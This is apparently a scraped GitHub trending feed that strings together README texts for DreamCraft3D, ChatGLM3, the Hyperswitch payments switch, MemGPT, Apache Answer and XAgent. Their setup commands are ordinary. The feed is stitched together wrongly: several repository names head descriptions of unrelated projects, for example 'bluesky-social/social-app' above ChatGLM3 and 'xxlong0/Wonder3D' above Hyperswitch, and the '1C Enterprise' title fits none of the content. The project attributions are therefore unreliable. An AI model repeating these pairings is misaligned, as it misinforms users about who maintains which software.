GitHub 1C Enterprise Daily Trending

michaelavila/asynchrony

2023-10-29T01:46:49Z

Simplifies your asynchronous ActionScript code

vercel/next-learn

2023-10-29T01:26:22Z

Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior

DreamCraft3D

Paper | Project Page | Youtube video

Official implementation of DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior

Jingxiang Sun, Bo Zhang, Ruizhi Shao, Lizhen Wang, Wen Liu, Zhenda Xie, Yebin Liu

Code will come soon.

Abstract: We present DreamCraft3D, a hierarchical 3D content generation method that produces high-fidelity and coherent 3D objects. We tackle the problem by leveraging a 2D reference image to guide the stages of geometry sculpting and texture boosting. A central focus of this work is to address the consistency issue that existing works encounter. To sculpt geometries that render coherently, we perform score distillation sampling via a view-dependent diffusion model. This 3D prior, alongside several training strategies, prioritizes the geometry consistency but compromises the texture fidelity. We further propose Bootstrapped Score Distillation to specifically boost the texture. We train a personalized diffusion model, Dreambooth, on the augmented renderings of the scene, imbuing it with 3D knowledge of the scene being optimized. The score distillation from this 3D-aware diffusion prior provides view-consistent guidance for the scene. Notably, through an alternating optimization of the diffusion prior and 3D scene representation, we achieve mutually reinforcing improvements: the optimized 3D scene aids in training the scene-specific diffusion model, which offers increasingly view-consistent guidance for 3D optimization. The optimization is thus bootstrapped and leads to substantial texture boosting. With tailored 3D priors throughout the hierarchical generation, DreamCraft3D generates coherent 3D objects with photorealistic renderings, advancing the state-of-the-art in 3D content generation.

Method Overview

BibTeX

@misc{sun2023dreamcraft3d,
      title={DreamCraft3D: Hierarchical 3D Generation with Bootstrapped Diffusion Prior}, 
      author={Jingxiang Sun and Bo Zhang and Ruizhi Shao and Lizhen Wang and Wen Liu and Zhenda Xie and Yebin Liu},
      year={2023},
      eprint={2310.16818},
      archivePrefix={arXiv},
      primaryClass={cs.CV}
}

bluesky-social/social-app

2023-10-29T01:26:22Z

ChatGLM3 series: Open Bilingual Chat LLMs | 开源双语对话语言模型

ChatGLM3

🤗 HF Repo • 🤖 ModelScope • 🐦 Twitter • 📃 [GLM@ACL 22] [GitHub] • 📃 [GLM-130B@ICLR 23] [GitHub]

👋 加入我们的 Slack 和 WeChat

📍在 chatglm.cn 体验更大规模的 ChatGLM 模型。

介绍

ChatGLM3 是智谱AI和清华大学 KEG 实验室联合发布的新一代对话预训练模型。ChatGLM3-6B 是 ChatGLM3 系列中的开源模型，在保留了前两代模型对话流畅、部署门槛低等众多优秀特性的基础上，ChatGLM3-6B 引入了如下特性：

更强大的基础模型： ChatGLM3-6B 的基础模型 ChatGLM3-6B-Base 采用了更多样的训练数据、更充分的训练步数和更合理的训练策略。在语义、数学、推理、代码、知识等不同角度的数据集上测评显示，ChatGLM3-6B-Base 具有在 10B 以下的基础模型中最强的性能。
更完整的功能支持： ChatGLM3-6B 采用了全新设计的 Prompt 格式，除正常的多轮对话外。同时原生支持工具调用（Function Call）、代码执行（Code Interpreter）和 Agent 任务等复杂场景。
更全面的开源序列： 除了对话模型 ChatGLM3-6B 外，还开源了基础模型 ChatGLM3-6B-Base、长文本对话模型 ChatGLM3-6B-32K。以上所有权重对学术研究完全开放，在填写问卷进行登记后亦允许免费商业使用。

ChatGLM3 开源模型旨在与开源社区一起推动大模型技术发展，恳请开发者和大家遵守开源协议，勿将开源模型和代码及基于开源项目产生的衍生物用于任何可能给国家和社会带来危害的用途以及用于任何未经过安全评估和备案的服务。目前，本项目团队未基于 ChatGLM3 开源模型开发任何应用，包括网页端、安卓、苹果 iOS 及 Windows App 等应用。

尽管模型在训练的各个阶段都尽力确保数据的合规性和准确性，但由于 ChatGLM3-6B 模型规模较小，且模型受概率随机性因素影响，无法保证输出内容的准确。同时模型的输出容易被用户的输入误导。本项目不承担开源模型和代码导致的数据安全、舆情风险或发生任何模型被误导、滥用、传播、不当利用而产生的风险和责任。

模型列表

Model	Seq Length	Download
ChatGLM3-6B	8k	HuggingFace \| ModelScope
ChatGLM3-6B-Base	8k	HuggingFace \| ModelScope
ChatGLM3-6B-32K	32k	HuggingFace \| ModelScope

评测结果

典型任务

我们选取了 8 个中英文典型数据集，在 ChatGLM3-6B (base) 版本上进行了性能测试。

Model	GSM8K	MATH	BBH	MMLU	C-Eval	CMMLU	MBPP	AGIEval
ChatGLM2-6B-Base	32.4	6.5	33.7	47.9	51.7	50.0	-	-
Best Baseline	52.1	13.1	45.0	60.1	63.5	62.2	47.5	45.8
ChatGLM3-6B-Base	72.3	25.7	66.1	61.4	69.0	67.5	52.4	53.7

Best Baseline 指的是模型参数在 10B 以下、在对应数据集上表现最好的预训练模型，不包括只针对某一项任务训练而未保持通用能力的模型。

对 ChatGLM3-6B-Base 的测试中，BBH 采用 3-shot 测试，需要推理的 GSM8K、MATH 采用 0-shot CoT 测试，MBPP 采用 0-shot 生成后运行测例计算 Pass@1 ，其他选择题类型数据集均采用 0-shot 测试。

我们在多个长文本应用场景下对 ChatGLM3-6B-32K 进行了人工评估测试。与二代模型相比，其效果平均提升了超过 50%。在论文阅读、文档摘要和财报分析等应用中，这种提升尤为显著。此外，我们还在 LongBench 评测集上对模型进行了测试，具体结果如下表所示

Model	平均	Summary	Single-Doc QA	Multi-Doc QA	Code	Few-shot	Synthetic
ChatGLM2-6B-32K	41.5	24.8	37.6	34.7	52.8	51.3	47.7
ChatGLM3-6B-32K	50.2	26.6	45.8	46.1	56.2	61.2	65

使用方式

环境安装

首先需要下载本仓库：

git clone https://github.com/THUDM/ChatGLM3
cd ChatGLM3

然后使用 pip 安装依赖：

pip install -r requirements.txt

其中 transformers 库版本推荐为 4.30.2，torch 推荐使用 2.0 及以上的版本，以获得最佳的推理性能。

综合 Demo

我们提供了一个集成以下三种功能的综合 Demo，运行方法请参考综合 Demo

Chat: 对话模式，在此模式下可以与模型进行对话。
Tool: 工具模式，模型除了对话外，还可以通过工具进行其他操作。
Code Interpreter: 代码解释器模式，模型可以在一个 Jupyter 环境中执行代码并获取结果，以完成复杂任务。

代码调用

可以通过如下代码调用 ChatGLM 模型来生成对话：

>>> from transformers import AutoTokenizer, AutoModel
>>> tokenizer = AutoTokenizer.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True)
>>> model = AutoModel.from_pretrained("THUDM/chatglm3-6b", trust_remote_code=True, device='cuda')
>>> model = model.eval()
>>> response, history = model.chat(tokenizer, "你好", history=[])
>>> print(response)
你好👋!我是人工智能助手 ChatGLM3-6B,很高兴见到你,欢迎问我任何问题。
>>> response, history = model.chat(tokenizer, "晚上睡不着应该怎么办", history=history)
>>> print(response)
晚上睡不着可能会让你感到焦虑或不舒服,但以下是一些可以帮助你入睡的方法:

1. 制定规律的睡眠时间表:保持规律的睡眠时间表可以帮助你建立健康的睡眠习惯,使你更容易入睡。尽量在每天的相同时间上床,并在同一时间起床。
2. 创造一个舒适的睡眠环境:确保睡眠环境舒适,安静,黑暗且温度适宜。可以使用舒适的床上用品,并保持房间通风。
3. 放松身心:在睡前做些放松的活动,例如泡个热水澡,听些轻柔的音乐,阅读一些有趣的书籍等,有助于缓解紧张和焦虑,使你更容易入睡。
4. 避免饮用含有咖啡因的饮料:咖啡因是一种刺激性物质,会影响你的睡眠质量。尽量避免在睡前饮用含有咖啡因的饮料,例如咖啡,茶和可乐。
5. 避免在床上做与睡眠无关的事情:在床上做些与睡眠无关的事情,例如看电影,玩游戏或工作等,可能会干扰你的睡眠。
6. 尝试呼吸技巧:深呼吸是一种放松技巧,可以帮助你缓解紧张和焦虑,使你更容易入睡。试着慢慢吸气,保持几秒钟,然后缓慢呼气。

如果这些方法无法帮助你入睡,你可以考虑咨询医生或睡眠专家,寻求进一步的建议。

从本地加载模型

以上代码会由 transformers 自动下载模型实现和参数。完整的模型实现在 Hugging Face Hub。如果你的网络环境较差，下载模型参数可能会花费较长时间甚至失败。此时可以先将模型下载到本地，然后从本地加载。

从 Hugging Face Hub 下载模型需要先安装Git LFS，然后运行

git clone https://huggingface.co/THUDM/chatglm3-6b

如果从你从 HuggingFace 下载比较慢，也可以从 ModelScope 中下载。

网页版对话 Demo

可以通过以下命令启动基于 Gradio 的网页版 demo：

python web_demo.py

可以通过以下命令启动基于 Streamlit 的网页版 demo：

streamlit run web_demo2.py

网页版 demo 会运行一个 Web Server，并输出地址。在浏览器中打开输出的地址即可使用。经测试，基于 Streamlit 的网页版 Demo 会更流畅。

命令行对话 Demo

运行仓库中 cli_demo.py：

python cli_demo.py

程序会在命令行中进行交互式的对话，在命令行中输入指示并回车即可生成回复，输入 clear 可以清空对话历史，输入 stop 终止程序。

API 部署

感谢 @xusenlinzy 实现了 OpenAI 格式的流式 API 部署，可以作为任意基于 ChatGPT 的应用的后端，比如 ChatGPT-Next-Web。可以通过运行仓库中的openai_api.py 进行部署：

python openai_api.py

进行 API 调用的示例代码为

import openai
if __name__ == "__main__":
    openai.api_base = "http://localhost:8000/v1"
    openai.api_key = "none"
    for chunk in openai.ChatCompletion.create(
        model="chatglm3-6b",
        messages=[
            {"role": "user", "content": "你好"}
        ],
        stream=True
    ):
        if hasattr(chunk.choices[0].delta, "content"):
            print(chunk.choices[0].delta.content, end="", flush=True)

工具调用

关于工具调用的方法请参考工具调用。

低成本部署

请见 DEPLOYMENT.md。

引用

如果你觉得我们的工作有帮助的话，请考虑引用下列论文。

@article{zeng2022glm,
  title={Glm-130b: An open bilingual pre-trained model},
  author={Zeng, Aohan and Liu, Xiao and Du, Zhengxiao and Wang, Zihan and Lai, Hanyu and Ding, Ming and Yang, Zhuoyi and Xu, Yifan and Zheng, Wendi and Xia, Xiao and others},
  journal={arXiv preprint arXiv:2210.02414},
  year={2022}
}

@inproceedings{du2022glm,
  title={GLM: General Language Model Pretraining with Autoregressive Blank Infilling},
  author={Du, Zhengxiao and Qian, Yujie and Liu, Xiao and Ding, Ming and Qiu, Jiezhong and Yang, Zhilin and Tang, Jie},
  booktitle={Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers)},
  pages={320--335},
  year={2022}
}

xxlong0/Wonder3D

2023-10-29T01:26:22Z

An open source payments switch written in Rust to make payments fast, reliable and affordable

The open-source payments switch

The single API to access payment ecosystems across 130+ countries

Quick Start Guide • Fast Integration for Stripe Users • Supported Features • FAQs
What's Included • Join us in building HyperSwitch • Community • Bugs and feature requests • Versioning • Copyright and License

🎉 Hacktoberfest is here! 🎉

New to Rust? Hyperswitch is the perfect place to start this hacktoberfest! 😁

⭐️ If you're new to Hacktoberfest, you can learn more and register to participate here. Registration is from September 26th - October 31st.

Hyperswitch is an open source payments switch to make payments fast, reliable, and, affordable. It lets you connect with multiple payment processors and route traffic effortlessly, all with a single API integration.

Using Hyperswitch, you can:

⬇️ Reduce dependency on a single processor like Stripe or Braintree
🧑‍💻 Reduce Dev effort by 90% to add & maintain integrations
🚀 Improve success rates with seamless failover and auto-retries
💸 Reduce processing fees with smart routing
🎨 Customize payment flows with full visibility and control
🌐 Increase business reach with local/alternate payment methods

Hyperswitch is wire-compatible with top processors like Stripe, making it easy to integrate.

⚡️ Quick Start Guide

Ways to get started with Hyperswitch:

Try it in our Sandbox Environment: Fast and easy to start. No code or setup is required in your system, learn more

A simple demo of integrating Hyperswitch with your React App, Try our React Demo App.
Install in your local system: Configurations and setup required in your system. Suitable if you like to customise the core offering, setup guide

🔌 Fast Integration for Stripe Users

If you are already using Stripe, integrating with Hyperswitch is fun, fast & easy. Try the steps below to get a feel for how quick the setup is:

Get API keys from our dashboard.
Follow the instructions detailed on our documentation page.

✅ Supported Features

🌟 Supported Payment Processors and Methods

As of Sept 2023, we support 50+ payment processors and multiple global payment methods. In addition, we are continuously integrating new processors based on their reach and community requests. Our target is to support 100+ processors by H2 2023. You can find the latest list of payment processors, supported methods, and features here.

🌟 Hosted Version

In addition to all the features of the open-source product, our hosted version provides features and support to manage your payment infrastructure, compliance, analytics, and operations end-to-end:

System Performance & Reliability
- Scalable to support 50000 tps
- System uptime of up to 99.99%
- Deployment with very low latency
- Hosting option with AWS or GCP
Value Added Services
- Compliance Support, incl. PCI, GDPR, Card Vault etc
- Customise the integration or payment experience
- Control Center with elaborate analytics and reporting
- Integration with Risk Management Solutions
- Integration with other platforms like Subscription, E-commerce, Accounting, etc.
Enterprise Support
- 24x7 Email / On-call Support
- Dedicated Relationship Manager
- Custom dashboards with deep analytics, alerts, and reporting
- Expert team to consult and improve business metrics

You can try the hosted version in our sandbox.

🤔 FAQs

Got more questions? Please refer to our FAQs page.

What's Included❓

Within the repositories, you'll find the following directories and files, logically grouping common assets and providing both compiled and minified variations.

Repositories

The current setup contains a single repo, which contains the core payment router and the various connector integrations under the src/connector sub-directory.

🌳 Files Tree Layout

.
├── config                             : Initial startup config files for the router
├── connector-template                 : boilerplate code for connectors
├── crates                             : sub-crates
│   ├── api_models                     : Request/response models for the `router` crate
│   ├── cards                          : Types to handle card masking and validation
│   ├── common_enums                   : Enums shared across the request/response types and database types
│   ├── common_utils                   : Utilities shared across `router` and other crates
│   ├── data_models                    : Represents the data/domain models used by the business/domain layer
│   ├── diesel_models                  : Database models shared across `router` and other crates
│   ├── drainer                        : Application that reads Redis streams and executes queries in database
│   ├── external_services              : Interactions with external systems like emails, KMS, etc.
│   ├── masking                        : Personal Identifiable Information protection
│   ├── redis_interface                : A user-friendly interface to Redis
│   ├── router                         : Main crate of the project
│   ├── router_derive                  : Utility macros for the `router` crate
│   ├── router_env                     : Environment of payment router: logger, basic config, its environment awareness
│   ├── scheduler                      : Scheduling and executing deferred tasks like mail scheduling
│   ├── storage_impl                   : Storage backend implementations for data structures & objects
│   └── test_utils                     : Utilities to run Postman and connector UI tests
├── docs                               : hand-written documentation
├── loadtest                           : performance benchmarking setup
├── migrations                         : diesel DB setup
├── monitoring                         : Grafana & Loki monitoring related configuration files
├── openapi                            : automatically generated OpenAPI spec
├── postman                            : postman scenarios API
└── scripts                            : automation, testing, and other utility scripts

💪 Join us in building Hyperswitch

🤝 Our Belief

Payments should be open, fast, reliable and affordable to serve the billions of people at scale.

Globally payment diversity has been growing at a rapid pace. There are hundreds of payment processors and new payment methods like BNPL, RTP etc. Businesses need to embrace this diversity to increase conversion, reduce cost and improve control. But integrating and maintaining multiple processors needs a lot of dev effort. Why should devs across companies repeat the same work? Why can't it be unified and reused? Hence, Hyperswitch was born to create that reusable core and let companies build and customise it as per their specific requirements.

✨ Our Values

Embrace Payments Diversity: It will drive innovation in the ecosystem in multiple ways.
Make it Open Source: Increases trust; Improves the quality and reusability of software.
Be community driven: It enables participatory design and development.
Build it like Systems Software: This sets a high bar for Reliability, Security and Performance SLAs.
Maximise Value Creation: For developers, customers & partners.

🤍 Contributing

This project is being created and maintained by Juspay, South Asia's largest payments orchestrator/switch, processing more than 50 Million transactions per day. The solution has 1Mn+ lines of Haskell code built over ten years. Hyperswitch leverages our experience in building large-scale, enterprise-grade & frictionless payment solutions. It is built afresh for the global markets as an open-source product in Rust. We are long-term committed to building and making it useful for the community.

The product roadmap is open for the community's feedback. We shall evolve a prioritisation process that is open and community-driven. We welcome contributions from the community. Please read through our contributing guidelines. Included are directions for opening issues, coding standards, and notes on development.

🦀 Important note for Rust developers: We aim for contributions from the community across a broad range of tracks. Hence, we have prioritised simplicity and code readability over purely idiomatic code. For example, some of the code in core functions (e.g., payments_core) is written to be more readable than pure-idiomatic.

👥 Community

Get updates on Hyperswitch development and chat with the community:

Read and subscribe to the official Hyperswitch blog.
Join our Discord server.
Join our Slack workspace.
Ask and explore our GitHub Discussions.

🐞 Bugs and feature requests

Please read the issue guidelines and search for existing and closed issues. If your problem or idea is not addressed yet, please open a new issue.

🔖 Versioning

Check the CHANGELOG.md file for details.

©️ Copyright and License

This product is licensed under the Apache 2.0 License.

✨ Thanks to all contributors

Thank you for your support in hyperswitch's growth. Keep up the great work! 🥂

cpacker/MemGPT

2023-10-29T01:46:17Z

Teaching LLMs memory management for unbounded context 📚🦙

MemGPT

Try out our MemGPT chatbot on Discord!

⭐ NEW: You can now run MemGPT with local LLMs and AutoGen! ⭐

🤖 Create perpetual chatbots with self-editing memory!

🗃️ Chat with your data - talk to your SQL database or your local files!

SQL Database

Local files

📄 You can also talk to docs - for example ask about LlamaIndex!

ChatGPT (GPT-4) when asked the same question:

(Question from https://github.com/run-llama/llama_index/issues/7756)

Quick setup

Join Discord and message the MemGPT bot (in the #memgpt channel). Then run the following commands (messaged to "MemGPT Bot"):

/profile (to create your profile)
/key (to enter your OpenAI key)
/create (to create a MemGPT chatbot)

Make sure your privacy settings on this server are open so that MemGPT Bot can DM you:
MemGPT → Privacy Settings → Direct Messages set to ON

You can see the full list of available commands when you enter / into the message box.

What is MemGPT?

Memory-GPT (or MemGPT in short) is a system that intelligently manages different memory tiers in LLMs in order to effectively provide extended context within the LLM's limited context window. For example, MemGPT knows when to push critical information to a vector database and when to retrieve it later in the chat, enabling perpetual conversations. Learn more about MemGPT in our paper.

Running MemGPT locally

Install MemGPT:

pip install pymemgpt

To update the package, run

pip install pymemgpt -U

Add your OpenAI API key to your environment:

# on Linux/Mac
export OPENAI_API_KEY=YOUR_API_KEY

# on Windows
set OPENAI_API_KEY=YOUR_API_KEY

# on Windows (PowerShell)
$Env:OPENAI_API_KEY = "YOUR_API_KEY"

To run MemGPT for as a conversation agent in CLI mode, simply run memgpt:

memgpt

Debugging command not found

If you get command not found (Linux/MacOS), or a CommandNotFoundException (Windows), the directory where pip installs scripts is not in your PATH. You can either add that directory to your path (pip show pip | grep Scripts) or instead just run:

python -m memgpt

Building from source

Clone this repo: git clone https://github.com/cpacker/MemGPT.git

Using poetry:

Install poetry: pip install poetry
Run poetry install
Run poetry run memgpt

Using pip:

Run pip install -e .
Run python3 main.py

If you're using Azure OpenAI, set these variables instead:

# see https://github.com/openai/openai-python#microsoft-azure-endpoints
export AZURE_OPENAI_KEY = ...
export AZURE_OPENAI_ENDPOINT = ...
export AZURE_OPENAI_VERSION = ...

# set the below if you are using deployment ids
export AZURE_OPENAI_DEPLOYMENT = ...
export AZURE_OPENAI_EMBEDDINGS_DEPLOYMENT = ...

# then use the --use_azure_openai flag
memgpt --use_azure_openai

To create a new starter user or starter persona (that MemGPT gets initialized with), create a new .txt file in ~/.memgpt/humans or ~/.memgpt/personas, then use the --persona or --human flag when running main.py. For example:

# assuming you created a new file ~/.memgpt/humans/me.txt
memgpt
# Select me.txt during configuration process

-- OR --

# assuming you created a new file ~/.memgpt/humans/me.txt
memgpt --human me.txt

You can also specify any of the starter users in /memgpt/humans/examples or any of the starter personas in /memgpt/personas/examples.

GPT-3.5 support

You can run MemGPT with GPT-3.5 as the LLM instead of GPT-4:

memgpt
# Select gpt-3.5 during configuration process

-- OR --

memgpt --model gpt-3.5-turbo

Note that this is experimental gpt-3.5-turbo support. It's quite buggy compared to gpt-4, but it should be runnable.

Please report any bugs you encounter regarding MemGPT running on GPT-3.5 to https://github.com/cpacker/MemGPT/issues/59.

Local LLM support

You can run MemGPT with local LLMs too. See instructions here and report any bugs/improvements here https://github.com/cpacker/MemGPT/discussions/67.

`main.py` flags

--first
  allows you to send the first message in the chat (by default, MemGPT will send the first message)
--debug
  enables debugging output

Configure via legacy flags

--model
  select which model to use ('gpt-4', 'gpt-3.5-turbo-0613', 'gpt-3.5-turbo')
--persona
  load a specific persona file
--human
  load a specific human file
--archival_storage_faiss_path=<ARCHIVAL_STORAGE_FAISS_PATH>
  load in document database (backed by FAISS index)
--archival_storage_files="<ARCHIVAL_STORAGE_FILES_GLOB_PATTERN>"
  pre-load files into archival memory
--archival_storage_files_compute_embeddings="<ARCHIVAL_STORAGE_FILES_GLOB_PATTERN>"
  pre-load files into archival memory and also compute embeddings for embedding search
--archival_storage_sqldb=<SQLDB_PATH>
  load in SQL database

Interactive CLI commands

These are the commands for the CLI, not the Discord bot! The Discord bot has separate commands you can see in Discord by typing /.

While using MemGPT via the CLI (not Discord!) you can run various commands:

//
  toggle multiline input mode
/exit
  exit the CLI
/save
  save a checkpoint of the current agent/conversation state
/load
  load a saved checkpoint
/dump
  view the current message log (see the contents of main context)
/memory
  print the current contents of agent memory
/pop
  undo the last message in the conversation
/heartbeat
  send a heartbeat system message to the agent
/memorywarning
  send a memory warning system message to the agent

Example applications

Use MemGPT to talk to your Database!

MemGPT's archival memory let's you load your database and talk to it! To motivate this use-case, we have included a toy example.

Consider the test.db already included in the repository.

id	name	age
1	Alice	30
2	Bob	25
3	Charlie	35

To talk to this database, run:

memgpt --archival_storage_sqldb=memgpt/personas/examples/sqldb/test.db

And then you can input the path to your database, and your query.

Please enter the path to the database. test.db
...
Enter your message: How old is Bob?
...
🤖 Bob is 25 years old.

Loading local files into archival memory

MemGPT enables you to chat with your data locally -- this example gives the workflow for loading documents into MemGPT's archival memory.

To run our example where you can search over the SEC 10-K filings of Uber, Lyft, and Airbnb,

Download the .txt files from Hugging Face and place them in memgpt/personas/examples/preload_archival.

In the root MemGPT directory, run

memgpt --archival_storage_files="memgpt/personas/examples/preload_archival/*.txt" --persona=memgpt_doc --human=basic

If you would like to load your own local files into MemGPT's archival memory, run the command above but replace --archival_storage_files="memgpt/personas/examples/preload_archival/*.txt" with your own file glob expression (enclosed in quotes).

Enhance with embeddings search

In the root MemGPT directory, run

memgpt main.py --archival_storage_files_compute_embeddings="<GLOB_PATTERN>" --persona=memgpt_doc --human=basic

This will generate embeddings, stick them into a FAISS index, and write the index to a directory, and then output:

  To avoid computing embeddings next time, replace --archival_storage_files_compute_embeddings=<GLOB_PATTERN> with
    --archival_storage_faiss_path=<DIRECTORY_WITH_EMBEDDINGS> (if your files haven't changed).

If you want to reuse these embeddings, run

memgpt --archival_storage_faiss_path="<DIRECTORY_WITH_EMBEDDINGS>" --persona=memgpt_doc --human=basic

Talking to LlamaIndex API Docs

MemGPT also enables you to chat with docs -- try running this example to talk to the LlamaIndex API docs!

a. Download LlamaIndex API docs and FAISS index from Hugging Face.

# Make sure you have git-lfs installed (https://git-lfs.com)
git lfs install
git clone https://huggingface.co/datasets/MemGPT/llamaindex-api-docs
mv llamaindex-api-docs

-- OR --

b. Build the index:

Build llama_index API docs with make text. Instructions here. Copy over the generated _build/text folder to memgpt/personas/docqa.

Generate embeddings and FAISS index.

cd memgpt/personas/docqa
python3 scrape_docs.py
python3 generate_embeddings_for_docs.py all_docs.jsonl
python3 build_index.py --embedding_files all_docs.embeddings.jsonl --output_index_file all_docs.index

In the root MemGPT directory, run
```
memgpt --archival_storage_faiss_path=<ARCHIVAL_STORAGE_FAISS_PATH> --persona=memgpt_doc --human=basic
```
where ARCHIVAL_STORAGE_FAISS_PATH is the directory where all_docs.jsonl and all_docs.index are located. If you downloaded from Hugging Face, it will be memgpt/personas/docqa/llamaindex-api-docs. If you built the index yourself, it will be memgpt/personas/docqa.

Support

If you have any further questions, or have anything to share, we are excited to hear your feedback!

By default MemGPT will use gpt-4, so your API key will require gpt-4 API access
For issues and feature requests, please open a GitHub issue or message us on our #support channel on Discord

Datasets

Datasets used in our paper can be downloaded at Hugging Face.

🚀 Project Roadmap

Release MemGPT Discord bot demo (perpetual chatbot)
Add additional workflows (load SQL/text into MemGPT external context)
Integration tests
Integrate with AutoGen (discussion)
Add official gpt-3.5-turbo support (discussion)
CLI UI improvements (issue)
Add support for other LLM backends (issue, discussion)
Release MemGPT family of open models (eg finetuned Mistral) (discussion)

Development

Reminder: if you do not plan on modifying the source code, simply install MemGPT with pip install pymemgpt!

First, install Poetry using the official instructions here.

Then, you can install MemGPT from source with:

git clone git@github.com:cpacker/MemGPT.git
poetry shell
poetry install

We recommend installing pre-commit to ensure proper formatting during development:

pip install pre-commit
pre-commit install
pre-commit run --all-files

Contributing

We welcome pull requests! Please run the formatter before submitting a pull request:

poetry run black . -l 140

apache/incubator-answer

2023-10-29T01:46:17Z

A Q&A platform software for teams at any scales. Whether it's a community forum, help center, or knowledge management platform, you can always count on Answer.

Answer - Build Q&A platform

A Q&A platform software for teams at any scales. Whether it’s a community forum, help center, or knowledge management platform, you can always count on Answer.

To learn more about the project, visit answer.dev.

Screenshots

Quick start

Running with docker

docker run -d -p 9080:80 -v answer-data:/data --name answer answerdev/answer:latest

For more information, see Installation

Plugins

Answer provides a plugin system for developers to create custom plugins and expand Answer’s features. You can find the plugin documentation here.

We value your feedback and suggestions to improve our documentation. If you have any comments or questions, please feel free to contact us. We’re excited to see what you can create using our plugin system!

You can also check out the plugins here.

Contributing

Contributions are always welcome!

See CONTRIBUTING for ways to get started.

License

Apache License 2.0

OpenBMB/XAgent

2023-10-29T01:46:17Z

An Autonomous LLM Agent for Complex Task Solving

XAgent

English • 中文

Tutorial • Demo • Blog • Citation

📖 Introduction

XAgent is an open-source experimental Large Language Model (LLM) driven autonomous agent that can automatically solve various tasks. It is designed to be a general-purpose agent that can be applied to a wide range of tasks. XAgent is still in its early stages, and we are working hard to improve it.

🏆 Our goal is to create a super-intelligent agent that can solve any given task!

We welcome diverse forms of collaborations, including full-time and part-time roles and more. If you are interested in the frontiers of agents and want to join us in realizing true autonomous agents, please contact us at xagentteam@gmail.com.

Overview of XAgent.

XAgent

XAgent is designed with the following features:

Autonomy: XAgent can automatically solve various tasks without human participation.
Safety: XAgent is designed to run safely. All actions are constrained inside a docker container. Run it anyway!
Extensibility: XAgent is designed to be extensible. You can easily add new tools to enhance agent's abilities and even new agents！
GUI: XAgent provides a friendly GUI for users to interact with the agent. You can also use the command line interface to interact with the agent.
Cooperation with Human: XAgent can collaborate with you to tackle tasks. It not only has the capability to follow your guidance in solving complex tasks on the go but it can also seek your assistance when it encounters challenges.

XAgent is composed of three parts:

🤖 Dispatcher is responsible for dynamically instantiating and dispatching tasks to different agents. It allows us to add new agents and improve the agents' abilities.
🧐 Planner is responsible for generating and rectifying plans for tasks. It divides tasks into subtasks and generates milestones for them, allowing agents to solve tasks step by step.
🦾 Actor is responsible for conducting actions to achieve goals and finish subtasks. The actor utilizes various tools to solve subtasks, and it can also collaborate with humans to solve tasks.

The inner loop and outer loop mechanism of XAgent.

🧰 ToolServer

ToolServer is the server that provides XAgent with powerful and safe tools to solve tasks. It is a docker container that provides a safe environment for XAgent to run. Currently, ToolServer provides the following tools:

📝 File Editor provides a text editing tool to write, read, and modify files.
📘 Python Notebook provides an interactive Python notebook that can run Python code to validate ideas, draw figures, etc.
🌏 Web Browser provides a web browser to search and visit webpages.
🖥️ Shell provides a bash shell tool that can execute any shell commands, even install programs and host services.
🧩 Rapid API provides a tool to retrieve APIs from Rapid API and call them, which offers a wide range of APIs for XAgent to use. See ToolBench to get more information about the Rapid API collections. You can also easily add new tools to ToolServer to enhance XAgent's abilities.

✨ Quickstart

🛠️ Build and Setup ToolServer

ToolServer is where XAgent's action takes place. It is a docker container that provides a safe environment for XAgent to run. So you should install docker and docker-compose first. After that, you should build the docker image for ToolServer and start the docker container.

docker compose up

Refer here for detailed information about our ToolServer.

If the ToolServer is updated, you have to rebuild the images:

docker compose build

🎮 Setup and Run XAgent

After setting up ToolServer, you can start to run XAgent.

Install requirements (Require Python >= 3.10)

pip install -r requirements.txt

Configure XAgent

You should configure XAgent in assets/config.yml before running it.
At least one OpenAI key is provided in assets/config.yml, which is used to access OpenAI API. We highly recommend using gpt-4-32k to run XAgent; gpt-4 is also OK for most simple tasks. In any case, at least one gpt-3.5-turbo-16k API key should be provided as a backup model. We do not test or recommend using gpt-3.5-turbo to run XAgent due to minimal context length; you should not try to run XAgent on that.
If you want to change the config_file path for XAgentServer, you should modify the CONFIG_FILE value in .env file and restart the docker container.

Run XAgent

python run.py --task "put your task here" --model "gpt-4" --config_file "assets/config.yml"

You can use the argument --upload_files to select the initial files you want to submit to XAgent.
The local workspace for your XAgent is in local_workspace, where you can find all the files generated by XAgent throughout the running process.
After execution, the entire workspace in ToolServerNode will be copied to running_records for your convenience.
Besides, in running_records, you can find all the intermediate steps information, e.g., task statuses, LLM's input-output pairs, used tools, etc.
You can load from a record to reproduce a former run, just by setting record_dir in config(default to Null). The record is a system-level recording tied to the code version of XAgent. All running-config、query、code execution statuses (including errors)、server behavior will be documented.
We have removed all sensitive information (including API keys) from the record so you can safely share it with others. In the near future, we will introduce more granular sharing options highlighting the contributions of humans during execution.

Run XAgent with GUI

# We ran the web ui docker when building the ToolServer network
# run nginx in docker
docker exec XAgent-Server systemctl start nginx

Build the docker image for XAgent-Server and start the docker container. You will see the XAgent Server listening on port 8090. You could visit http://localhost:5173 to interact with XAgent by using web UI. Refer here for the detailed information about our GUI Demo.

🎬 Demo

Here, we also show some cases of solving tasks by XAgent: You can check our live demo on XAgent Official Website. We also provide a video demo and showcases of using XAgent here:

Case 1. Data Analysis: Demonstrating the Effectiveness of Dual-Loop Mechanism

We start with a case of aiding users in intricate data analysis. Here, our user submitted an iris.zip file to XAgent, seeking assistance in data analysis. XAgent swiftly broke down the task into four sub-tasks: (1) data inspection and comprehension, (2) verification of the system's Python environment for relevant data analysis libraries, (3) crafting data analysis code for data processing and analysis, and (4) compiling an analytical report based on the Python code's execution results. Here is a figure drawn by XAgent.

Case 2. Recommendation: A New Paradigm of Human-Agent Interaction

Empowered with the unique capability to actively seek human assistance and collaborate in problem-solving, XAgent continues to redefine the boundaries of human-agent cooperation. As depicted in the screenshot below, a user sought XAgent's aid in recommending some great restaurants for a friendly gathering yet failed to provide specific details. Recognizing the insufficiency of the provided information, XAgent employed the AskForHumanHelp tool, prompting human intervention to elicit the user's preferred location, budget constraints, culinary preferences, and dietary restrictions. Armed with this valuable feedback, XAgent seamlessly generated tailored restaurant recommendations, ensuring a personalized and satisfying experience for the user and their friends.

Case 3. Training Model: A Sophisticated Tool User

